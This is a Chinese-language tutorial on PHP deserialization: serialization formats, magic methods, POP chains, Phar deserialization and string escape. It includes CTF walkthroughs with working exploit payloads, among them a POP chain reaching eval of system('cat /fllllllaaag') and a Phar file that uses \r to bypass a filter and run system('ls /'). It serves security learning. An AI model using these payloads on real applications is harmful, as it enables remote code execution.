php 反序列化总结

果然不记笔记过一段时间就有一些东西忘了,这里给大家一个参考,如果有什么不对,希望各位师傅可以提出来。

目录

基本

序列化

serialize函数

 json_encode函数

反序列化

unserialize函数

json_decode函数

魔术方法

关于pop链

Phar反序列化

字符串逃逸

增加

减少

原生类

Session反序列化

php反序列化绕过总结

1.绕过__wakeup

2.绕过正则

 3. 16进制绕过过滤

4. 绕过异常throw new Error()

5. phar绕过总结

6.原生类的一些绕过


基本

首先我们要知道为什么会有序列化和反序列化这种东西,因为当我们程序执行结束时,内存数据便会立即销毁,来释放空间。

我们序列化就是将它转换成具有一定格式的字符串,可以长久的保存,也可以更加便捷的传输,这里我们要知道序列化是不会保存对象的方法。


反序列化就好一些了,简单理解就是将这一串特殊的字符串就是已经序列化后的变量这些恢复到程序代码时候的php的值。

然后详细了解一下

这里我们要知道常见的php序列化和反序列化方式主要有:serialize,unserialize;json_encode,json_decode

序列化

serialize函数

语法:string serialize ( mixed $value )

$value: 要序列化的对象或数组。

//示例
<?php
class A{
    public $a = "aaa";
}
echo serialize(new A());
O:1:"A":1:{s:1:"a";s:3:"aaa";}

这是对一个对象进行序列化,O就是代表自定义对象Object,这里1是代表类名的长度,A就是类名,第二个1代表类中对象有1个,s:1:"a"代表对象的名字,s:3:"aaa"代表对象的内容

   这里我们要知道PHP 对不同类型的数据用不同的字母进行标示    

  • a - array
  • b - boolean
  • d - double
  • i - integer
  • o - common object
  • r - reference
  • s - non-escaped binary string
  • S - escaped binary string
  • C - custom object //关于接口的,自己可以了解一下
  • O - class
  • N - null
  • R - pointer reference
  • U - unicode string  //代表双字节 Unicode 编码

N -> null(就是空)的序列化

b -> boolean 型数据的序列化     b:<digit>;

i -> integer型数据(整数)的序列化    i:<number>
      整数型的范围为:-2147483648 到 2147483647。如果超过这个范围就会变成浮点数型


d -> double型数据(浮点数,可以理解为小数)的序列化    d:<number>

       浮点数可以表示整数形式、浮点数形式和科学技术法形式,但是这里提醒一下。

       PHP在进行计算的时候认为结果是无限大时他会返回结果是:INF (Infinite)

       举列:echo (1/0);  //就会输出INF

       这里提醒一下,无限小数是不行的,举例: echo (1/3); //不会返回INF
       PHP进行计算的时候认为一个数超出Infinite,那就是: NAN(not-a-number)
       举例:echo (a/a); //就会输出NAN


s -> string 型数据(字符串)的序列化 s:<length>:"<value>";
 

r、R 分别表示对象引用和指针引用,这两个也比较有用,在序列化比较复杂的数组和对象时就会产生带有这两个标示的数据

a -> 数组的序列化
格式:a:<n>:{<key 1><value 1><key 2><value 2>...<key n><value n>}
<n> 表示数组元素的个数,<key 1>、<key 2>……<key n> 表示数组下标,<value 1>、<value 2>……<value n> 表示与下标相对应的数组元素的值。
对象的序列化
格式:O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name 2><field value 2>...<field name n><field value n>}
<length> 表示对象的长度 <class name> 表示类名.<n> 表示类中对象的个数
<filed name 1>、<filed name 2>……<filed name n>表示每个变量的变量名,而 <filed value 1>、<filed value 2>……<filed value n> 则表示与变量名所对应的变量值

 然后关于r和R

<?php
echo "<pre>";
class SampleClass {
    var $value;
}
$a = new SampleClass();
$a->value = $a;
 
$b = new SampleClass();
$b->value = &$b;
 
echo serialize($a);
echo "\n";
echo serialize($b);
echo "\n";
echo "</pre>";
?>
//O:11:"SampleClass":1:{s:5:"value";r:1;}
//O:11:"SampleClass":1:{s:5:"value";R:1;}
//这里变量 $a 的 value 字段的值被序列化成了 r:1,而 $b 的 value 字段的值被序列化成了 R:1

 json_encode函数

这个我不太了解

语法:json_encode(value,options,depth)

参数:value:要被转换的数据,可以是对象,数组或字符串

          options:二进制常量,规定一些要转换的字符串的形式(具体,看文未说明)

          depth:设置最大深度。 必须大于0。

利用 json_encode函数,可以很轻松的将一维数组,以及二维数组转换成 JSON 字符串

//示例
<?php
$arr = array(
    'Name' => 'helloword',
);
echo json_encode($arr);
?>
//{"Name":"helloword"}

反序列化

unserialize函数

语法: mixed unserialize ( string $str )

$str: 序列化后的字符串。

返回值
返回的是转换之后的值,可为 integer、float、string、array 或 object。

如果传递的字符串不可解序列化,则返回 FALSE,并产生一个 E_NOTICE。

//示例
<?php
$a = 'O:1:"A":1:{s:1:"a";s:3:"aaa";}';
var_dump(unserialize($a));
//注意这里必须使用var_dump或者print_r输出才可以
//回显
object(__PHP_Incomplete_Class)#1 (2) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(1) "A"
  ["a"]=>
  string(3) "aaa"
}

 这就很清楚了吧,也不用多说什么了

json_decode函数

语法:mixed json_decode ($json_string [,$assoc = false [, $depth = 512 [, $options = 0 ]]])

参数
json_string: 待解码的 JSON 字符串,必须是 UTF-8 编码数据
assoc: 当该参数为 TRUE 时,将返回数组,FALSE 时返回对象。
depth: 整数类型的参数,它指定递归深度
options: 二进制掩码,目前只支持 JSON_BIGINT_AS_STRING 。

<?php   
$json = '{"Name":"helloword"}';  
$json_Class=json_decode($json);
$json_Array=json_decode($json, true);
$json_Stirng=json_decode($json, true)['Name'];   
print_r($json_Class);  
print_r($json_Array);
print_r($json_Stirng);
?>
//回显

//json_Class
stdClass Object
(
    [Name] => helloword
)

//json_Array
Array
(
    [Name] => helloword
)

//json_Stirng
helloword

 然后就是注意php反序列中主要使用的关键字


public的权限最大,既可以让子类使用,也可以支持实例化之后的调用,就是共有。

protected表示的是受保护的,访问的权限是只有在子类和本类中才可以被访问到

private 表示的是私有,只能够是在当前的类中可以被访问到


注意:protected和private再反序列化的时候都会产生不可见字符,所以我们输出的时候通常都会先url编码一下,或者用将不可见字符自己编码也是可以的

private属性序列化的时候格式是%00类名%00成员名

protected属性序列化的时候格式是%00*%00成员名

再次提醒不能不加的哦,因为他格式的前缀也是算长度的,\00也是可以的哦。


在php7.1+的版本中,我们对于是private或者protected的属性,我们序列化的时候可以直接使用public,这样相对方便不少,因为不用加%00了

 这里感觉讲得差不多了,接下来进入正题。

魔术方法

这个感觉真的很重要,要仔细学习,首先我们要知道魔术方法是不需要我们自己触发的。

注意:在同一个类中只能声明一个构造方法,原因是,PHP不支持构造函数重载。

  1. __construct() 类的构造函数,每次创建新对象时先调用此方法

  2. __destruct() 类的析构函数,某个对象的所有引用都被删除或者销毁时调用

  3. __call() 在对象中调用一个不可访问方法时调用

  4. __callStatic() 用静态方式中调用一个不可访问方法时调用

  5. __get() 获得一个类的成员变量时调用

  6. __set() 设置一个类的成员变量时调用

  7. __isset() 当对不可访问属性调用isset()或empty()时调用

  8. __unset() 当对不可访问属性调用unset()时被调用。

  9. __sleep() 执行serialize()时,先会调用这个函数

  10. __wakeup() 执行unserialize()时,先会调用这个函数

  11. __toString() 类被当成字符串时的回应方法

  12. __invoke() 调用函数的方式调用一个对象时的回应方法

  13. __set_state() 调用var_export()导出类时,此静态方法会被调用。

  14. __clone() 当对象复制完成时调用

  15. __autoload() 尝试加载未定义的类

  16. __debugInfo() 打印所需调试信息

  17. __serialize(),执行serialize()时,先会调用这个函数(这个和__sleep()的区别后面会详细介绍)

  18. __unserialize(),执行unserialize()时,先会调用这个函数(这个和__wakeup()的区别后面会详细介绍)

一.  __construct

php中构造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。通常使用在构造方法被用来执行一些有用的初始化任务,如对成员属性在创建对象时赋予初始值。

//示例
<?php

class A{
    public $a = "123";
    public function __construct()
    {
        $this -> a = "123456";
    }
}
$b = new A();
$c = serialize($b);
echo $c."\n";
print_r(unserialize($c));
//回显
O:1:"A":1:{s:1:"a";s:6:"123456";}
A Object
(
    [a] => 123456
)

看这里,A类下面的a的值是123456,并不是123,知道了吧。

二. __destruct

通常用来完成一些在对象销毁前的清理任务,就是在到某个属性的所有引用都被删除或者当对象被显式销毁时执行。

 这里触发__destruct的方法说一下

1.主动调用unset($obj)
2.主动调用$obj = NULL
3.程序自动结束
4.将原先指向类的变量取消对类的引用

这里看一下,1和3就不说了,其实2和4的意思是差不多的,这里给大家看一下。

//示例
<?php

class A
{
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __destruct()
    {
        echo $this->b."destruct触发";
    }
}
$aa = new A(1);
//这里的a对象就不是垃圾,因为他被$aa所引用
new A(2);
//这里的就是垃圾(也就是匿名对象),new出来后没被引用,就会被当作垃圾回收(被GC回收了)(所以触发析构)
echo PHP_EOL."**********************************".PHP_EOL;
$bb = new A(4);
//这里定义一个有引用的,正常运行的,正常结束的
$aa = new A(3);
//这里将$aa指向了另一个对象的引用,所以原先的对象触发析构
echo PHP_EOL."**********************************".PHP_EOL;
$aa = null;
//然后这里将原先那个new A(3)引用,换成了null
echo PHP_EOL."**********************************".PHP_EOL;
//程序结束,触发new A(4)的析构
//回显
2destruct触发
**********************************
1destruct触发
**********************************
3destruct触发
**********************************
4destruct触发

这里唯一个正常的执行触发的只有一个new A(4),new A(2)因为没有被引用就直接被当成垃圾被GC回收了直接触发了__destruct


new A(1)因为被$aa引用了,所以没有触发__destruct,接下来是因为,$aa的引用被替换成了new A(3),所以new A(1)没有了引用就触发了__destruct
然后往下看$aa最后被替换成了null,所以new A(3)也没有引用了,也成了垃圾,同样就触发了__destruct

最后程序正常执行结束,new A(4)被销毁触发了__destruct

三. __call

该方法在调用的方法不存在时会自动调用,程序仍会继续执行下去。
这是为了避免当调用的方法不存在时产生错误,从而导致程序中止。

触发方法
访问一个不存在的方法。

<?php

class A
{
    function Print(){
        print("hello,欢迎来到痛苦的php反序列化");
    }
    function __call($aa,$bb){
        echo "你所调用的函数:" . $aa. " 参数:" ;
        print_r($bb); 
        echo " 不存在!\n";
    }
}
$a = new A();
$a -> eee("eeeee");
$a -> hahaha("hhaha",'heiheihei');
$a -> Print();
//回显
你所调用的方法:eee 参数:Array
(
    [0] => eeeee
)
 不存在!<br>

你所调用的方法:hahaha 参数:Array
(
    [0] => hhaha
    [1] => heiheihei
)
 不存在!

hello,欢迎来到痛苦的php反序列化

四. __callStatic()

和上面差不多但是,他是在静态上下文中调用一个不可访问方法时,才会触发,就是相当于他是专门为静态方法准备的。

static相信学过面向对象的都知道这是什么吧,这个代表静态。


静态属性:1: static静态属性单独存在类中(属于类),不属于对象。因此只要类声明完毕,该属性就存在。既访问该静态属性不需要依赖于对象就可以访问

                  2:static 在类中一直有个,因此他被所有对象共享,一人影响,其他共享。


静态方法:普通方法存放在类种,在内存中只有1份。静态方法也如此。 区别 :普通方法需要对象去调用,需绑this。静态方法不需要绑定this。静态方法不需要绑定this。静态方法不需要绑定this,则通过类名即可调用。

然后在php中的静态方法需要注意的地方

1.静态属性不需要实例化即可调用。因为静态属性存放的位置是在类里,调用方法为 "类名::属性名"
2.静态方法不能调用非静态属性。因为非静态属性需要实例化后,存放在对象里
3.静态方法可以调用非静态方法,使用 self 关键词。php 里,一个方法被 self:: 后,它就自动转变为静态方法
4.调用类的静态函数时不会自动调用类的构造函数。

//示例
<?php

class A
{
    function Print(){
        print("hello,欢迎来到痛苦的php反序列化");
    }
    public static function __callStatic($aa,$bb){
        echo "你所调用的方法:" . $aa. " 参数:" ;
        print_r($bb); 
        echo " 不存在!\n";
    }
}
A::eee("eeeee");
A::hahaha("hhaha",'heiheihei');
$a = new A();
$a -> Print();
//回显
你所调用的方法:eee 参数:Array
(
    [0] => eeeee
)
 不存在!

你所调用的方法:hahaha 参数:Array
(
    [0] => hhaha
    [1] => heiheihei
)
 不存在!

hello,欢迎来到痛苦的php反序列化

五.  __get()

这个是属性被设置成protected(受保护)或者private(私有)的时候,我们直接读取他们就会触发__get()魔术方法。,

//示例
<?php

class A
{
    public $a="a";
    protected $b="b";
    private $c="c";

    public function Print()
    {
        echo "欢迎来到痛苦的php反序列化";
    }
    
    public function __get($aaa){
        echo $this->$aaa."触发了__get \n";
    }
}
$aa = new A();
$aa -> a;
$aa -> b;
$aa -> c;
//回显
b触发了__get 
c触发了__get 
<?php

class A
{
    public $a;
    public $d;

    public function Print()
    {
        echo "欢迎来到痛苦的php反序列化";
    }
    public function B(){
        return $this->a->d;
    }
    public function __get($aaa){
        echo $aaa."触发了__get \n";
    }
}

这样也是可以触发__get,但是吧,本地会报错可能是我写的有点问题吧。。所以就直接说了,我们题目都是会做到这一个的,因为B方法中,用了两个属性,a和d,虽然a和b都是公共的,但是a这个对象中是没有d所以我们就是相当于从不可访问的属性中读取数据,这就触发了__get了

六. __set()

这个是给不可访问属性的赋值的时候就会触发和上面差不多。

//示例
<?php

class A
{
    public $a;
    protected $b;
    private $c;

    public function Print()
    {
        echo "欢迎来到痛苦的php反序列化";
    }
    
    public function __set($aaa,$bbb){
        echo $this->$aaa=$bbb."触发了__set \n";
    }
}
$aa = new A();
$aa -> a='a';
$aa -> b='b';
$aa -> c='c';
//回显
b触发了__get 
c触发了__get 
#然后同样和上面那一个一样有一个也是可以触发的
class A
{
    public $a;
    public $d;

    public function Print()
    {
        echo "欢迎来到痛苦的php反序列化";
    }
    public function B($args){
        return $this->a->d=$args;
    }
    public function __set($aaa,$bbb){
        echo $this->$aaa=$bbb."触发了__set \n";
    }
}

这个和上面那个差不多,就是一个是读取,这个是赋值然后触发。

七. __isset()

对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用,然后变量存在返回true,没有返回false

//示例
<?php

class A
{
    public $a='a';
    protected $b='b';
    private $c='c';

    public function Print()
    {
        echo "欢迎来到痛苦的php反序列化";
    }
    
    public function __isset($aaa){
        echo $this->$aaa."触发了__isset \n";
    }
}
$aa = new A();
echo isset($aa->a)."\n";
echo isset($aa->b)."\n";
echo isset($aa->c)."\n";
echo empty($aa->a)."\n";
echo empty($aa->b)."\n";
echo empty($aa->c)."\n";
//回显
1
b触发了__isset 
c触发了__isset 


b触发了__isset 
1
c触发了__isset 
1

八. __unset()

当对不可访问属性调用unset()时,__unset()被调用。

unset()这个函数的作用是删除指定的变量且传回true,但是他没有权限删除对象的私有属性。

//示例
<?php

class A
{
    public $a='a';
    protected $b='b';
    private $c='c';

    public function Print()
    {
        echo "欢迎来到痛苦的php反序列化";
    }
    
    public function __unset($aaa){
        echo $this->$aaa."触发了__unset \n";
    }
}
$aa = new A();
unset($aa->a);
unset($aa->b);
unset($aa->c);
//回显
b触发了__unset 
c触发了__unset 

九.  __sleep()

执行serialize()时,先会调用__sleep()

//示例
<?php

class A
{
    public $a='a';
    public $b='b';
    public $c='c';

    public function Print()
    {
        echo "欢迎来到痛苦的php反序列化";
    }
    
    public function __sleep(){
        echo "触发了__sleep \n";
        return array('a','b','c');
    }
}
$aa = new A();
echo serialize($aa);
//回显
触发了__sleep 
O:1:"A":3:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";s:1:"c";s:1:"c";}

 看到了吧,他是先触发了__sleep,在输出序列化值的。

十. __wakeup()

执行unserialize()时,先会调用__wakeup()方法

//示例
<?php

class A
{
    public $a='a';
    public $b='b';
    public $c='c';

    public function Print()
    {
        echo "欢迎来到痛苦的php反序列化";
    }
    
    public function __wakeup(){
        echo "触发了__wakeup\n";
        return array('a','b','c');
    }
}
$aa = new A();
$bb = serialize($aa);
print_r(unserialize($bb));
//回显
触发了__wakeup
A Object
(
    [a] => a
    [b] => b
    [c] => c
)

他也是先触发__wakeup,再输出的。

十一.  __toString() 

当一个类被当成字符串时,就会触发__toString()方法

//示例
<?php

class A
{
    public $a;
    public $b;
    public $c;
    
    public function __toString(){
        return "触发了__toString \n";
    }
}
$aa = new A();
echo $aa;

//回显
//触发了__toString

 当然这是正常的触发方法,在我们ctf当中还有很多方法可以触发,这里参考了拓海AE师傅的


  1. echo ($obj) / print($obj) 打印时会触发
  2. 反序列化对象与字符串连接时
  3. 反序列化对象参与格式化字符串时
  4. 反序列化对象与字符串进行比较时(PHP进行比较的时候会转换参数类型)
  5. 反序列化对象参与格式化SQL语句,绑定参数时
  6. 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
  7. 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
  8. 反序列化的对象作为 class_exists() 的参数的时候
     

这感觉讲得是挺好,但是有些是有点不懂,这里总结一下,我这一段时间遇到的比较多的触发方法:

1. 通过echo输出来触发。

2. 通过与字符串比较的时候,这时候这个属性就是被当做字符串处理的。

3. 通过正则匹配之类的时候,这时候这个属性就是被当做字符串处理的。

4.遇到一些函数strlen()、addslashes()、strtoupper()这些之类,他们都有一个共同的特点都是使用的字符串,这样就算不是也会转换成字符串。
记录一下使用了file_exists()这个函数也会触发

十二. __invoke()

以调用函数的方式调用一个对象时,就会触发__invoke()方法

//示例
<?php

class A
{
    function __invoke($a){
        print_r($a."触发了__incoke");
    }
}
$aa = new A;
$aa('1');

//回显
//1触发了__incoke
//所以通常题目中出现这样的,下面return $bb(),我们就可以知道他是触发了__invoke
    
public function __toString(){
    $bb = $this->su;
    return $bb();
}

接下来的几种感觉题目用到就比较少了,用到就比较难了,呜呜呜

十三. __set_state()

当调用 var_export() 导出类时,此静态方法会被自动调用,当然他不用我们写,当然也可以写。

//示例
<?php

class A
{
    public $a = '1';
    public $b = '2';
    public $c = '3';
}
$aa = new A;
var_export($aa);
//回显,他会返回一个数组
A::__set_state(array(
   'a' => '1',
   'b' => '2',
   'c' => '3',
))

十四. __clone()

当对象被复制后,PHP 5 会对对象的所有属性执行一个浅复制(shallow copy)。所有的引用属性 仍然会是一个指向原来的变量的引用。 当复制完成时,如果定义了 __clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用。

//示例
<?php

class A
{
    public $a = '1';
    public $b = '2';
    public $c = '3';

    public function __clone()
    {
        echo "你正在克隆 \n";
    }
}
$aa = new A;
$aaa = clone $aa;
var_dump($aa);
var_dump($aaa);
//回显
你正在克隆 
object(A)#1 (3) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  string(1) "2"
  ["c"]=>
  string(1) "3"
}
object(A)#2 (3) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  string(1) "2"
  ["c"]=>
  string(1) "3"
}

 十五. __autoload()

这个没有接触过,通过定义这个函数来启用类的自动加载。

这个大家就自己看吧。

十六. __debugInfo()

当转储对象以获取应显示的属性时,会调用__debugInfo().

没有用过就看一下吧。

<?php

class A
{
    public $a;

    public function __construct($b) {
        $this->a = $b;
    }

    public function __debugInfo() {
        return [
            'aaa' => $this->a * 2,
        ];
    }
}
$aa = new A(45);
var_dump($aa);
//回显
object(A)#1 (1) {
  ["aaa"]=>
  int(90)
}

十七. __serialize()

他的作用和__sleep是一样的,但是他是在序列化之前优先于任何方法,包括__sleep,有了他__sleep就不会执行了,但是__serialize方法是7.40以上,所以使用的时候要注意。

<?php

class A
{
    public $a;

    public function __sleep(){
        echo "触发了__sleep \n";
        return array('a','b');
    }

    public function __serialize(){
        echo "触发了__serialize \n";
        return [
            'aaa' => $this->a,
        ];
    }
}
$aa = new A();
echo serialize($aa);
//回显

触发了__serialize 
O:1:"A":1:{s:3:"aaa";N;}

//从这里我们知道了, 同时设置了__serialize和__sleep, 他这里只是执行了__serizlize, 并没有执行__sleep, 虽然他们的作用是基本一样的, 但是__serialize是优先于__sleep的, 这里我们要知道__serialize执行就不会执行__sleep

十八. __unserialize()

这个也是和 __wakeup(),作用是一样的,但是有__unserialize()的时候,会自动忽略__wakeup()

//示例
<?php

class A
{
    public $a="1";

    public function __wakeup(){
        echo "触发了__wakeup \n";
    }

    public function __unserialize(){
        echo "触发了__unserialize \n";
    }
}
$aa = new A();
$bb = serialize($aa);
print_r(unserialize($bb));
//回显
触发了__unserialize 
A Object
(
    [a] => 1
)

到这里魔法函数算是差不多了,这个真的是ctf中php 反序列非常重要的一部分。


关于pop链

感觉这个没有什么好说的,就是利用魔法函数,分析出来一条链子,然后利用这一条链子,然后获得flag。


当然这里可以分析我做pop链的方法,这里我们首先要找头和尾,头就是我们传输已经序列化字符串的地方,然后就是找尾巴,尾巴就是我们可以执行恶意代码的地方或者是可以获得flag的地方,然后从尾巴开始往上推,这里给大家讲解一题看看吧。

题目是[NISACTF 2022]babyserialize

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }
 
    function __call($from,$val){
        $this->fun=$val[0];
    }
 
    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}
 
class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}
 
class Ilovetxw{
    public $huang;
    public $su;
 
    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }
 
    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}
 
class four{
    public $a="TXW4EVER";
    private $fun='abc';
 
    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
 
if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}
 
//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}
 
//function hint(){
//    echo ".......";
//    die();
//}
?>

首先我们看到开头是有waf.php,猜测可能有过滤,感觉可能就是下面checkcheck方法,后面多次尝试知道可以大小写绕过。


然后先找头,我们知道了可以通过get的方式从ser参数传进去序列化好的字符串。

然后找尾巴,NISA::__invoke中出现了eval,这里我们可以执行恶意代码获得flag,然后一步步分析。

第一步 __invoke<-__toString

NISA::__invoke需要以调用函数的方式调用一个对象,可以通过Ilovetxw::__toString触发了

第二步 __toString<-__set

下面在four::__set中看到了strtolower函数,去查了一下strtolower() 函数把字符串转换为小写,所以就是将属性当做字符串了,所以这里触发了Ilovetxw::__toString


第三步 __set<-__call

然后在Ilovetxw::__call发现了,huang这个对象在调用不存在的成员变量,huang这个对象下面并没有fun这个属性,所以Ilovetxw::__call触发了four::__set

第四步 __call<-__wakeup

TianXiWei::__wakeup调用了不存在的方法,这个就触发Ilovetxw::__call,然后__wakeup会在使用unserialize函数自动触发,所以pop链就有了

第五步 开始构造序列化语句

<?php
 
class NISA
{
    public $fun;
    public $txw4ever="System('cat /fllllllaaag');";
}
class TianXiWei
{
    public $ext;
}
 
class Ilovetxw
{
    public $huang;
    public $su;
}
class four
{
    public $a="TXW4EVER";
    private $fun='sixsixsix';
}
$a = new TianXiWei();
$b = new Ilovetxw();
$c = new four();
$d = new NISA();
$a -> ext = $b;
$b -> huang = $c;
$c -> a = $b;
$b -> su = $d;
echo urlencode(serialize($a));

Phar反序列化

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

//phar的使用格式

<?php

class getflag{}
$a = new getflag();
//这里是我们执行的代码.

//下面是固定格式

$phar = new Phar('a.phar'); //生成文件的名字,但是后缀必须是phar
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //设置stub,我们必须以这个为结尾,否则phar扩展将无法识别这个文件为phar文件

$phar->setMetadata($a); //将自定义的meta-data存入manifest,我感觉就是将序列化的东西存进去

$phar->addFromString('test.txt', 'test');//添加要压缩的文件
$phar->stopBuffering();//签名自动计算

这里我们可以使用winhex,看看他是否将meta-data序列化

注意:phar文件一定要用winhex或010或脚本直接修改,不能用记事本之类的,他的签名会变化的。

这里我们看到他是进行了序列化的。

 

然后解释phar文件的结构


1.a stub 可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件。

2.a manifest describing the contents phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方

3.the file contents 被压缩文件的内容。

4.[optional] a signature for verifying Phar integrity (phar file format only) 签名,放在文件末尾

然后我们具体是通过phar协议文件包含来使用的。

phar://相对路径/a.phar

phar://绝对路径/a.phar

绕过下面会说。

这里还是找一题简单的题,讲解一下NewStarCTF 公开赛赛道 第四周 UnserializeThree

首先页面是一个上传文件的地方,看源代码得到提示class.php

 <?php
highlight_file(__FILE__);
class Evil{
    public $cmd;
    public function __destruct()
    {
        if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
            //Same point ,can you bypass me again?
            eval("#".$this->cmd);
        }else{
            echo "No!";
        }
    }
}
 
file_exists($_GET['file']); 

这里文件上传和反序列化,我们知道可以使用phar反序列化。

<?php
 
class Evil
{
    public $cmd="\rsystem('ls /');";
}
 
$a = new Evil();
 
$phar = new Phar("a.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
 
$phar -> setMetadata($a);
 
$phar -> addFromString("test.txt", "test");
$phar -> stopBuffering();

这里使用\r绕过过滤,生成phar文件,改后缀为gif,上传,得到返回的文件地址。

这里使用的是相对路径

然后访问class.php?file=phar://./upload/88272873fc5efc96def51ca92ab65d36.gif

字符串逃逸

这也是我们经常会做到的一个题型,其实他意思就是在系统使用方法替换字符串的时候,会将我们序列化好的字符串,检测有没有匹配的字符,有就替换,正常来说这是一个防御的手段,但是他是会进行替换的时候变多或者变少,这就是我们产生漏洞的地方,这时候我们就可以利用这个漏洞闭合出一个新的序列化字符串,下面我们先了解php反序列化的特点。

 反序列化的特点


 PHP在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,当长度不对应的时候也会进行报错。这里我们看一下。

//这是我们正常出来序列化语句
O:1:"A":3:{s:4:"name";s:1:"1";s:3:"age";s:1:"2";s:6:"heihei";s:1:"3";}

//当我们在后面随意添加字符
O:1:"A":3:{s:4:"name";s:1:"1";s:3:"age";s:1:"2";s:6:"heihei";s:1:"3";}adfsaf
//第一种反序列化出来的东西
object(__PHP_Incomplete_Class)#1 (4) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(1) "A"
  ["name"]=>
  string(1) "1"
  ["age"]=>
  string(1) "2"
  ["heihei"]=>
  string(1) "3"
}

//第二种反序列化出来的东西
object(__PHP_Incomplete_Class)#1 (4) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(1) "A"
  ["name"]=>
  string(1) "1"
  ["age"]=>
  string(1) "2"
  ["heihei"]=>
  string(1) "3"
}

这里我们发现这俩个是一模一样的,这是因为他只解析正常闭合,后面他不管的。


O:1:"A":3:{s:4:"name";s:1:"1";s:3:"age";s:1:"aa";s:6:"heihei";s:1:"3";}

这里我们随意修改长度,age属性的值只有1,我们给他两个,这时候反序列化就会报错。

Notice: unserialize(): Error at offset 46 of 77 bytes in E:\phpstudy_pro\WWW\web\3.php on line 14
bool(false)


//这是我们正常反序列化
<?php
 
class A{
    public $name = '1';
    public $age = '2';
    public $heihei = '3';
}
function eeeeeee($string){
    return str_replace('hack', 'hacker', $string);
}
$a = new A();
$b = serialize($a);
echo $b;
//O:1:"A":3:{s:4:"name";s:1:"1";s:3:"age";s:1:"2";s:6:"heihei";s:1:"3";}

增加

但是这里有一个方法eeeeee,他是可以进行替换的,且可以增多的,我们就是用来控制的。


这里我想让age为aa,heihei为hhhh,这里我们截取上面,然后修改一下,这里多的双引号和分号是为了闭合使用的。

";s:3:"age";s:1:"2";s:6:"heihei";s:1:"3";}

//修改一下,然后测试一下长度为46,然后就需要23个hack
";s:3:"age";s:2:"aa";s:6:"heihei";s:4:"hhhh";}

  然后我们修改一下代码

<?php
 
class A{
    public $name = 'hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:3:"age";s:2:"aa";s:6:"heihei";s:4:"hhhh";}';
    public $age = '2';
    public $heihei = '3';
}
function eeeeeee($string){
    return str_replace('hack', 'hacker', $string);
}
$a = new A();
$b= serialize($a)."\n";
echo $b;
$c = eeeeeee($b)."\n";
echo $c;
var_dump(unserialize($c));

这里回显,看到没,age变成了aa,heihei变成了hhhh,我们来详细了解一下,我给大家分开了讲

O:1:"A":3:{s:4:"name";s:138:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:3:"age";s:2:"aa";s:6:"heihei";s:4:"hhhh";}";s:3:"age";s:1:"2";s:6:"heihei";s:1:"3";}

O:1:"A":3:{s:4:"name";s:138:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"age";s:2:"aa";s:6:"heihei";s:4:"hhhh";}";s:3:"age";s:1:"2";s:6:"heihei";s:1:"3";}

object(A)#2 (3) {
  ["name"]=>
  string(138) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["age"]=>
  string(2) "aa"
  ["heihei"]=>
  string(4) "hhhh"
}

 

这里是我们,序列化出来的东西,我们主要注意name属性那里,现在的138是还没进行替换的,里面有我们自己添加的,需要逃逸反序列化的东西。

O:1:"A":3:{s:4:"name";s:138:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:3:"age";s:2:"aa";s:6:"heihei";s:4:"hhhh";}";s:3:"age";s:1:"2";s:6:"heihei";s:1:"3";}

这里是经过替换以后的,现在138代表的全是hacker,然后后面就逃逸出去,和前面组成了新的序列化语句,然后正常闭合了,这样子后面就是和上面说的,后面多出来的就没有解析了。

O:1:"A":3:{s:4:"name";s:138:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"age";s:2:"aa";s:6:"heihei";s:4:"hhhh";}";s:3:"age";s:1:"2";s:6:"heihei";s:1:"3";}

